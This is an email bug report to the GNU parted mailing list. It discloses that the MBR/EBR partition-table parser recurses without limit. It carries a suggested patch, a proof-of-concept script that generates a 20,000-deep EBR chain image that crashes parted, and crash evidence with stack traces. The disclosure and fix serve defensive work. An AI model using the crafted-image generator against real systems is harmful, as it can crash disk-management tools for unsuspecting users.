bug#81011: MBR extended partition parser has unbounded recursion
Daniel Anderson <[email protected]> Sat, 9 May 2026 21:19:16 -0400
| Newsgroups | gmane.comp.gnu.parted.bugs |
|---|---|
| Message-ID | <[email protected]> |
--Apple-Mail=_8B157E67-B5AC-49D1-973B-2E30A4D15BB9
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
charset=utf-8
Good Evening,
I=E2=80=99m attaching a POC script that creates a MBR image that will =
then cause parted to crash. The reason for this crash is that =
`read_table()` in `libparted/labels/dos.c` recursively follows =
MS-DOS/MBR extended partition tables, but there is no recursion guard.
To run the POC run: ```PARTED_BIN=3D/usr/sbin/parted ./poc.sh``` where =
your poc.sh file is in your current directory.
The results of the crash are attached, as well as a suggested patch.
With regards to priority, I=E2=80=99ve been scratching my head. It =
seems bad that an MBR partitiion could be crafted in such a way that an =
unassuming user runs it, parted crashes. On the other hand, if you=E2=80=99=
re running parted presumably you have a significant amount of knowledge.
I=E2=80=99d therefore propose that it needs to be fixed as a correctness =
and defense in depth finding. Longer term the EBR traversal should be =
rewritten so as not to be recursive, BUT the attached patch will at =
least squash the bug as is.
If you need any help please let me know, happy to try my hand at =
rewriting EBR traversal.
Additionally, full disclosure, this bug was found as part of my project =
N184, an open source automated bug scanner. The repository can be found =
here: https://github.com/MillaFleurs/N184
Thank you!
Dan
=EF=BF=BC=EF=BF=BC=EF=BF=BC=EF=BF=BC=
--Apple-Mail=_8B157E67-B5AC-49D1-973B-2E30A4D15BB9
Content-Type: multipart/mixed;
boundary="Apple-Mail=_4EAF0B4F-5A46-446A-967F-6D69BA2B91E0"
--Apple-Mail=_4EAF0B4F-5A46-446A-967F-6D69BA2B91E0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html;
charset=utf-8
<html aria-label=3D"message body"><head><meta http-equiv=3D"content-type" =
content=3D"text/html; charset=3Dutf-8"></head><body =
style=3D"overflow-wrap: break-word; -webkit-nbsp-mode: space; =
line-break: after-white-space;">Good Evening,<div><br></div><div>I=E2=80=99=
m attaching a POC script that creates a MBR image that will then cause =
parted to crash. The reason for this crash is =
that `read_table()` in `libparted/labels/dos.c` recursively follows =
MS-DOS/MBR extended partition tables, but there is no recursion =
guard.</div><div><br></div><div>To run the POC run: =
```PARTED_BIN=3D/usr/sbin/parted ./poc.sh``` where your poc.sh file is =
in your current directory.</div><div><br></div><div>The results of the =
crash are attached, as well as a suggested =
patch.</div><div><br></div><div>With regards to priority, I=E2=80=99ve =
been scratching my head. It seems bad that an MBR partitiion could =
be crafted in such a way that an unassuming user runs it, parted =
crashes. On the other hand, if you=E2=80=99re running parted =
presumably you have a significant amount of =
knowledge.</div><div><br></div><div>I=E2=80=99d therefore propose that =
it needs to be fixed as a correctness and defense in depth finding. =
Longer term the EBR traversal should be rewritten so as not to be =
recursive, BUT the attached patch will at least squash the bug as =
is.</div><div><br></div><div>If you need any help please let me know, =
happy to try my hand at rewriting EBR =
traversal.</div><div><br></div><div>Additionally, full disclosure, this =
bug was found as part of my project N184, an open source automated bug =
scanner. The repository can be found here: <a =
href=3D"https://github.com/MillaFleurs/N184">https://github.com/MillaFleur=
s/N184</a></div><div><br></div><div>Thank =
you!</div><div><br></div><div>Dan</div><div><br></div><div><br></div><div>=
</div></body></html>=
--Apple-Mail=_4EAF0B4F-5A46-446A-967F-6D69BA2B91E0
Content-Disposition: attachment;
filename=patch.diff
Content-Type: application/octet-stream;
x-unix-mode=0644;
name="patch.diff"
Content-Transfer-Encoding: 7bit
--- a/libparted/labels/dos.c
+++ b/libparted/labels/dos.c
@@ -310,9 +310,11 @@
*/
#define MAX_CHS_CYLINDER 1021
#define MAX_TOTAL_PART 64
+#define DOS_MAX_TABLES (MAX_TOTAL_PART + 1)
typedef struct _DosRawPartition DosRawPartition;
typedef struct _DosRawTable DosRawTable;
+typedef struct _DosTableParseState DosTableParseState;
/* note: lots of bit-bashing here, thus, you shouldn't look inside it.
* Use chs_to_sector() and sector_to_chs() instead.
@@ -340,6 +342,11 @@
DosRawPartition partitions [DOS_N_PRI_PARTITIONS];
uint16_t magic;
} __attribute__((packed));
+
+struct _DosTableParseState {
+ PedSector sectors [DOS_MAX_TABLES];
+ int count;
+};
/* OrigState is information we want to preserve about the partition for
* dealing with CHS issues
@@ -1112,7 +1119,20 @@
}
static int
-read_table (PedDisk* disk, PedSector sector, int is_extended_table)
+table_sector_seen (const DosTableParseState* state, PedSector sector)
+{
+ int i;
+
+ for (i = 0; i < state->count; i++)
+ if (state->sectors [i] == sector)
+ return 1;
+
+ return 0;
+}
+
+static int
+read_table (PedDisk* disk, PedSector sector, int is_extended_table,
+ DosTableParseState* state)
{
int i;
DosRawTable* table;
@@ -1123,7 +1143,33 @@
PED_ASSERT (disk != NULL);
PED_ASSERT (disk->dev != NULL);
+ PED_ASSERT (state != NULL);
+ if (table_sector_seen (state, sector)) {
+ if (ped_exception_throw (
+ PED_EXCEPTION_ERROR,
+ PED_EXCEPTION_IGNORE_CANCEL,
+ _("Invalid partition table - recursive "
+ "partition table on %s."),
+ disk->dev->path)
+ != PED_EXCEPTION_IGNORE)
+ return 0;
+ return 1;
+ }
+
+ if (state->count >= DOS_MAX_TABLES) {
+ if (ped_exception_throw (
+ PED_EXCEPTION_ERROR,
+ PED_EXCEPTION_IGNORE_CANCEL,
+ _("Invalid partition table - too many "
+ "extended partition tables on %s."),
+ disk->dev->path)
+ != PED_EXCEPTION_IGNORE)
+ return 0;
+ return 1;
+ }
+ state->sectors [state->count++] = sector;
+
void *label = NULL;
if (!ptt_read_sector (disk->dev, sector, &label))
goto error;
@@ -1199,7 +1245,7 @@
/* non-nested extended partition */
if (part->type == PED_PARTITION_EXTENDED) {
- if (!read_table (disk, part->geom.start, 1))
+ if (!read_table (disk, part->geom.start, 1, state))
goto error;
}
}
@@ -1222,7 +1268,7 @@
*/
continue;
}
- if (!read_table (disk, part_start, 1))
+ if (!read_table (disk, part_start, 1, state))
goto error;
}
}
@@ -1240,11 +1286,14 @@
static int
msdos_read (PedDisk* disk)
{
+ DosTableParseState state;
+
PED_ASSERT (disk != NULL);
PED_ASSERT (disk->dev != NULL);
ped_disk_delete_all (disk);
- if (!read_table (disk, 0, 0))
+ state.count = 0;
+ if (!read_table (disk, 0, 0, &state))
return 0;
#ifndef DISCOVER_ONLY
--Apple-Mail=_4EAF0B4F-5A46-446A-967F-6D69BA2B91E0
Content-Transfer-Encoding: 7bit
Content-Type: text/html;
charset=us-ascii
<html aria-label="message body"><body style="overflow-wrap: break-word; -webkit-nbsp-mode: space; line-break: after-white-space;"><head><meta http-equiv="content-type" content="text/html; charset=us-ascii"></head><div></div></body></html>
--Apple-Mail=_4EAF0B4F-5A46-446A-967F-6D69BA2B91E0
Content-Disposition: attachment;
filename=poc.sh
Content-Type: application/octet-stream;
x-unix-mode=0755;
name="poc.sh"
Content-Transfer-Encoding: 7bit
#!/bin/sh
set -eu
parted_bin=${PARTED_BIN:-}
if [ -z "$parted_bin" ]; then
if which parted >/dev/null 2>&1; then
parted_bin=$(which parted)
fi
fi
if [ -z "$parted_bin" ]; then
echo "PoC skipped: set PARTED_BIN to a parted binary."
exit 0
fi
if ! which python3 >/dev/null 2>&1; then
echo "PoC requires python3 to create the disk image."
exit 1
fi
depth=${DEPTH:-20000}
stack_kb=${STACK_KB:-1024}
timeout_s=${TIMEOUT_S:-45}
sector_size=512
image_path=${IMAGE_PATH:-./parted-mbr-ebr-crash.img}
keep_image=${KEEP_IMAGE:-1}
image_size_mb=${IMAGE_SIZE_MB:-}
with_logical=${WITH_LOGICAL:-0}
tmp=$(mktemp -d "${TMPDIR:-/tmp}/parted-ebr-poc.XXXXXX")
if [ -n "$image_path" ] || [ "$keep_image" = "1" ]; then
trap 'rm -rf "$tmp/parted.out" "$tmp/parted.err"' EXIT HUP INT TERM
else
trap 'rm -rf "$tmp"' EXIT HUP INT TERM
fi
if [ -n "$image_path" ]; then
img=$image_path
else
img=$tmp/ebr-chain.img
fi
out=$tmp/parted.out
err=$tmp/parted.err
python3 - "$img" "$depth" "$sector_size" <<'PY'
import os
import struct
import sys
img = sys.argv[1]
depth = int(sys.argv[2])
sector_size = int(sys.argv[3])
image_size_mb = os.environ.get("IMAGE_SIZE_MB", "")
with_logical = os.environ.get("WITH_LOGICAL", "0") == "1"
if depth < 2:
raise SystemExit("depth must be at least 2")
stride = 2
base = 1
sectors = base + depth * stride + 2
if image_size_mb:
fixed_sectors = int(image_size_mb) * 1024 * 1024 // sector_size
if fixed_sectors < sectors:
raise SystemExit(
f"IMAGE_SIZE_MB={image_size_mb} is too small for depth={depth}; "
f"need at least {(sectors * sector_size + 1024 * 1024 - 1) // (1024 * 1024)} MiB"
)
sectors = fixed_sectors
def part_entry(part_type, start, length):
return struct.pack(
"<B3sB3sII",
0,
b"\x00\x02\x00",
part_type,
b"\xff\xff\xff",
start,
length,
)
def write_table(f, sector, entries):
buf = bytearray(sector_size)
off = 446
for entry in entries:
buf[off:off + 16] = entry
off += 16
buf[510:512] = b"\x55\xaa"
f.seek(sector * sector_size)
f.write(buf)
with open(img, "wb") as f:
f.truncate(sectors * sector_size)
write_table(
f,
0,
[part_entry(0x05, base, sectors - base)],
)
for i in range(depth):
ebr = base + i * stride
entries = []
if with_logical:
entries.append(part_entry(0x83, 1, 1))
if i + 1 < depth:
next_ebr = base + (i + 1) * stride
entries.append(part_entry(0x05, next_ebr - base, sectors - next_ebr))
write_table(f, ebr, entries)
print(f"created {img}")
print(f"image layout: raw MBR disk image, sector_size={sector_size}")
print("mbr: LBA 0 contains one extended partition entry")
if with_logical:
print("ebr chain: each non-final EBR contains one logical Linux partition and one next-EBR link")
print("warning: WITH_LOGICAL=1 can hit Parted's 64-partition msdos label cap before stack exhaustion")
else:
print("ebr chain: each non-final EBR contains only a next-EBR link")
print(f"depth={depth} sectors={sectors} logical_partitions={depth if with_logical else 0}")
print(f"image_size_bytes={sectors * sector_size}")
PY
echo
if [ "$keep_image" = "1" ] || [ -n "$image_path" ]; then
echo "Keeping image artifact: $img"
fi
echo "Running: $parted_bin -s $img unit s print"
echo "Stack limit: ${stack_kb} KiB"
ulimit -s "$stack_kb" 2>/dev/null || true
set +e
if which timeout >/dev/null 2>&1; then
timeout_bin=$(which timeout)
"$timeout_bin" "$timeout_s" "$parted_bin" -s "$img" unit s print >"$out" 2>"$err"
status=$?
else
"$parted_bin" -s "$img" unit s print >"$out" 2>"$err"
status=$?
fi
set -e
echo "parted exit status: $status"
if [ -s "$err" ]; then
echo "stderr:"
sed 's/^/ /' "$err"
fi
case "$status" in
139|134)
echo "BUG TRIGGERED: parted crashed while parsing the long EBR chain."
exit 0
;;
124)
echo "PoC timed out. This may still indicate excessive recursive parsing; increase TIMEOUT_S or lower STACK_KB."
exit 1
;;
*)
if grep -qi 'segmentation fault\|stack overflow' "$err"; then
echo "BUG TRIGGERED: crash text was reported while parsing the long EBR chain."
exit 0
fi
echo "Bug not triggered at DEPTH=$depth STACK_KB=$stack_kb. Try a larger DEPTH."
exit 1
;;
esac
--Apple-Mail=_4EAF0B4F-5A46-446A-967F-6D69BA2B91E0
Content-Transfer-Encoding: 7bit
Content-Type: text/html;
charset=us-ascii
<html aria-label="message body"><body style="overflow-wrap: break-word; -webkit-nbsp-mode: space; line-break: after-white-space;"><head><meta http-equiv="content-type" content="text/html; charset=us-ascii"></head><div></div></body></html>
--Apple-Mail=_4EAF0B4F-5A46-446A-967F-6D69BA2B91E0
Content-Disposition: attachment;
filename=gnu-parted-requested-diagnostic.txt
Content-Type: text/plain;
x-unix-mode=0644;
name="gnu-parted-requested-diagnostic.txt"
Content-Transfer-Encoding: quoted-printable
## operation attempted
/usr/sbin/parted ./parted-mbr-ebr-crash.img print unit s print unit chs =
print
## parted version
parted (GNU parted) 3.6
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later =
<https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Written by =
<http://git.debian.org/?p=3Dparted/parted.git;a=3Dblob_plain;f=3DAUTHORS>.=
## diagnostic output
WARNING: You are not superuser. Watch out for permissions.
Model: (file)
Disk /home/dan/parted-test/parted-mbr-ebr-crash.img: 20.5MB
Sector size (logical/physical): 512B/512B
Partition Table: msdos
Disk Flags:=20
Number Start End Size Type File system Flags
1 512B 20.5MB 20.5MB extended
Model: (file)
Disk /home/dan/parted-test/parted-mbr-ebr-crash.img: 40003s
Sector size (logical/physical): 512B/512B
Partition Table: msdos
Disk Flags:=20
Number Start End Size Type File system Flags
1 1s 40002s 40002s extended
Model: (file)
Disk /home/dan/parted-test/parted-mbr-ebr-crash.img: 312,2,2
Sector size (logical/physical): 512B/512B
BIOS cylinder,head,sector geometry: 312,4,32. Each cylinder is 65.5kB.
Partition Table: msdos
Disk Flags:=20
Number Start End Type File system Flags
1 0,0,1 312,2,2 extended
exit_status=3D0
--Apple-Mail=_4EAF0B4F-5A46-446A-967F-6D69BA2B91E0
Content-Transfer-Encoding: 7bit
Content-Type: text/html;
charset=us-ascii
<html aria-label="message body"><body style="overflow-wrap: break-word; -webkit-nbsp-mode: space; line-break: after-white-space;"><head><meta http-equiv="content-type" content="text/html; charset=us-ascii"></head><div></div></body></html>
--Apple-Mail=_4EAF0B4F-5A46-446A-967F-6D69BA2B91E0
Content-Disposition: attachment;
filename=parted-mbr-ebr-crash-evidence.txt
Content-Type: text/plain;
x-unix-mode=0644;
name="parted-mbr-ebr-crash-evidence.txt"
Content-Transfer-Encoding: quoted-printable
## date
Sat 9 May 21:00:37 EDT 2026
## uname
Linux morty 6.12.75+rpt-rpi-2712 #1 SMP PREEMPT Debian 1:6.12.75-1+rpt1 =
(2026-03-11) aarch64 GNU/Linux
## parted version
parted (GNU parted) 3.6
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later =
<https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Written by =
<http://git.debian.org/?p=3Dparted/parted.git;a=3Dblob_plain;f=3DAUTHORS>.=
## ulimit
real-time non-blocking time (microseconds, -R) unlimited
core file size (blocks, -c) unlimited
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 15891
max locked memory (kbytes, -l) 8192
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) 15891
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited
## poc run
created ./parted-mbr-ebr-crash.img
image layout: raw MBR disk image, sector_size=3D512
mbr: LBA 0 contains one extended partition entry
ebr chain: each non-final EBR contains only a next-EBR link
depth=3D20000 sectors=3D40003 logical_partitions=3D0
image_size_bytes=3D20481536
Keeping image artifact: ./parted-mbr-ebr-crash.img
Running: /usr/sbin/parted -s ./parted-mbr-ebr-crash.img unit s print
Stack limit: 1024 KiB
parted exit status: 139
stderr:
timeout: the monitored command dumped core
Segmentation fault
BUG TRIGGERED: parted crashed while parsing the long EBR chain.
## coredumpctl list
TIME PID UID GID SIG COREFILE EXE =
SIZE
Sat 2026-05-09 20:56:44 EDT 15062 0 0 SIGSEGV inaccessible =
/usr/sbin/parted -
Sat 2026-05-09 21:00:38 EDT 15103 1000 1000 SIGSEGV present =
/usr/sbin/parted 330.3K
## coredumpctl info
PID: 15062 (parted)
UID: 0 (root)
GID: 0 (root)
Signal: 11 (SEGV)
Timestamp: Sat 2026-05-09 20:56:44 EDT (3min 54s ago)
Command Line: /usr/sbin/parted -s ./parted-mbr-ebr-crash.img unit s =
print
Executable: /usr/sbin/parted
Control Group: =
/user.slice/user-1000.slice/[email protected]/tmux-spawn-79524e1f-be9e-481=
7-9761-9bdd7b89131e.scope
Unit: [email protected]
User Unit: tmux-spawn-79524e1f-be9e-4817-9761-9bdd7b89131e.scope
Slice: user-1000.slice
Owner UID: 1000 (dan)
Boot ID: 2548a803aaae4c3890cb929c511fcafe
Machine ID: d406f9049738481db323a0f14fefd7e8
Hostname: morty
Storage: =
/var/lib/systemd/coredump/core.parted.0.2548a803aaae4c3890cb929c511fcafe.1=
5062.1778374604000000.zst (inaccessible)
Message: Process 15062 (parted) of user 0 dumped core.
=20
Module libudev.so.1 from deb =
systemd-257.9-1~deb13u1.arm64
Module libblkid.so.1 from deb util-linux-2.41-5.arm64
Module libuuid.so.1 from deb util-linux-2.41-5.arm64
Stack trace of thread 15062:
#0 0x00007fffa166845c n/a (libparted.so.2 + 0x1845c)
#1 0x00007fffa1669ad8 n/a (libparted.so.2 + 0x19ad8)
#2 0x00007fffa1682bd0 ptt_read_sectors (libparted.so.2 =
+ 0x32bd0)
#3 0x00007fffa1678500 n/a (libparted.so.2 + 0x28500)
#4 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#5 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#6 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#7 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#8 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#9 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#10 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#11 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#12 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#13 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#14 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#15 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#16 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#17 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#18 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#19 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#20 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#21 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#22 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#23 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#24 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#25 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#26 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#27 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#28 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#29 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#30 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#31 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#32 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#33 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#34 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#35 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#36 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#37 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#38 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#39 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#40 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#41 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#42 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#43 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#44 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#45 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#46 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#47 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#48 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#49 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#50 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#51 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#52 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#53 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#54 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#55 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#56 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#57 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#58 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#59 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#60 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#61 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#62 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
#63 0x00007fffa16787e0 n/a (libparted.so.2 + 0x287e0)
ELF object binary architecture: AARCH64
PID: 15103 (parted)
UID: 1000 (dan)
GID: 1000 (dan)
Signal: 11 (SEGV)
Timestamp: Sat 2026-05-09 21:00:38 EDT (988ms ago)
Command Line: /usr/sbin/parted -s ./parted-mbr-ebr-crash.img unit s =
print
Executable: /usr/sbin/parted
Control Group: =
/user.slice/user-1000.slice/[email protected]/tmux-spawn-79524e1f-be9e-481=
7-9761-9bdd7b89131e.scope
Unit: [email protected]
User Unit: tmux-spawn-79524e1f-be9e-4817-9761-9bdd7b89131e.scope
Slice: user-1000.slice
Owner UID: 1000 (dan)
Boot ID: 2548a803aaae4c3890cb929c511fcafe
Machine ID: d406f9049738481db323a0f14fefd7e8
Hostname: morty
Storage: =
/var/lib/systemd/coredump/core.parted.1000.2548a803aaae4c3890cb929c511fcaf=
e.15103.1778374838000000.zst (present)
Size on Disk: 330.3K
Message: Process 15103 (parted) of user 1000 dumped core.
=20
Module libudev.so.1 from deb =
systemd-257.9-1~deb13u1.arm64
Module libblkid.so.1 from deb util-linux-2.41-5.arm64
Module libuuid.so.1 from deb util-linux-2.41-5.arm64
Stack trace of thread 15103:
#0 0x00007fff3707845c n/a (libparted.so.2 + 0x1845c)
#1 0x00007fff37079ad8 n/a (libparted.so.2 + 0x19ad8)
#2 0x00007fff37092bd0 ptt_read_sectors (libparted.so.2 =
+ 0x32bd0)
#3 0x00007fff37088500 n/a (libparted.so.2 + 0x28500)
#4 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#5 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#6 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#7 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#8 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#9 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#10 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#11 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#12 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#13 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#14 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#15 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#16 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#17 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#18 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#19 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#20 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#21 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#22 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#23 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#24 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#25 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#26 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#27 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#28 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#29 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#30 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#31 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#32 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#33 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#34 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#35 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#36 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#37 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#38 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#39 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#40 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#41 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#42 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#43 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#44 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#45 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#46 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#47 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#48 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#49 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#50 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#51 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#52 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#53 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#54 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#55 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#56 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#57 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#58 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#59 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#60 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#61 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#62 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
#63 0x00007fff370887e0 n/a (libparted.so.2 + 0x287e0)
ELF object binary architecture: AARCH64
## dmesg
[Wed May 6 11:25:51 2026] vc4_hvs 107c580000.hvs: =
bcm2712_iommu_probe_device: MMU 1000005200.iommu
[Wed May 6 11:25:51 2026] vc4_hvs 107c580000.hvs: =
bcm2712_iommu_device_group: MMU 1000005200.iommu
[Wed May 6 11:25:51 2026] vc4_hvs 107c580000.hvs: Adding to iommu group =
1
[Wed May 6 11:25:51 2026] vc4_hvs 107c580000.hvs: =
bcm2712_iommu_attach_dev: MMU 1000005200.iommu
[Wed May 6 11:25:51 2026] vc4-drm axi:gpu: bcm2712_iommu_of_xlate: MMU =
1000005200.iommu
[Wed May 6 11:25:51 2026] vc4-drm axi:gpu: bcm2712_iommu_probe_device: =
MMU 1000005200.iommu
[Wed May 6 11:25:51 2026] vc4-drm axi:gpu: bcm2712_iommu_device_group: =
MMU 1000005200.iommu
[Wed May 6 11:25:51 2026] vc4-drm axi:gpu: Adding to iommu group 1
[Wed May 6 11:25:51 2026] vc4-drm axi:gpu: bcm2712_iommu_attach_dev: =
MMU 1000005200.iommu
[Wed May 6 11:25:51 2026] vc4-drm axi:gpu: bound 107c580000.hvs (ops =
vc4_hvs_ops [vc4])
[Wed May 6 11:25:51 2026] Registered IR keymap rc-cec
[Wed May 6 11:25:51 2026] rc rc0: vc4-hdmi-0 as =
/devices/platform/soc@107c000000/107c701400.hdmi/rc/rc0
[Wed May 6 11:25:51 2026] input: vc4-hdmi-0 as =
/devices/platform/soc@107c000000/107c701400.hdmi/rc/rc0/input1
[Wed May 6 11:25:51 2026] input: vc4-hdmi-0 HDMI Jack as =
/devices/platform/soc@107c000000/107c701400.hdmi/sound/card0/input2
[Wed May 6 11:25:51 2026] vc4-drm axi:gpu: bound 107c701400.hdmi (ops =
vc4_hdmi_ops [vc4])
[Wed May 6 11:25:51 2026] Registered IR keymap rc-cec
[Wed May 6 11:25:51 2026] rc rc1: vc4-hdmi-1 as =
/devices/platform/soc@107c000000/107c706400.hdmi/rc/rc1
[Wed May 6 11:25:51 2026] input: vc4-hdmi-1 as =
/devices/platform/soc@107c000000/107c706400.hdmi/rc/rc1/input3
[Wed May 6 11:25:51 2026] input: vc4-hdmi-1 HDMI Jack as =
/devices/platform/soc@107c000000/107c706400.hdmi/sound/card1/input4
[Wed May 6 11:25:51 2026] vc4-drm axi:gpu: bound 107c706400.hdmi (ops =
vc4_hdmi_ops [vc4])
[Wed May 6 11:25:51 2026] vc4-drm axi:gpu: bound 107c500000.mop (ops =
vc4_txp_ops [vc4])
[Wed May 6 11:25:51 2026] vc4-drm axi:gpu: bound 107c501000.moplet (ops =
vc4_txp_ops [vc4])
[Wed May 6 11:25:51 2026] vc4-drm axi:gpu: bound 107c410000.pixelvalve =
(ops vc4_crtc_ops [vc4])
[Wed May 6 11:25:51 2026] vc4-drm axi:gpu: bound 107c411000.pixelvalve =
(ops vc4_crtc_ops [vc4])
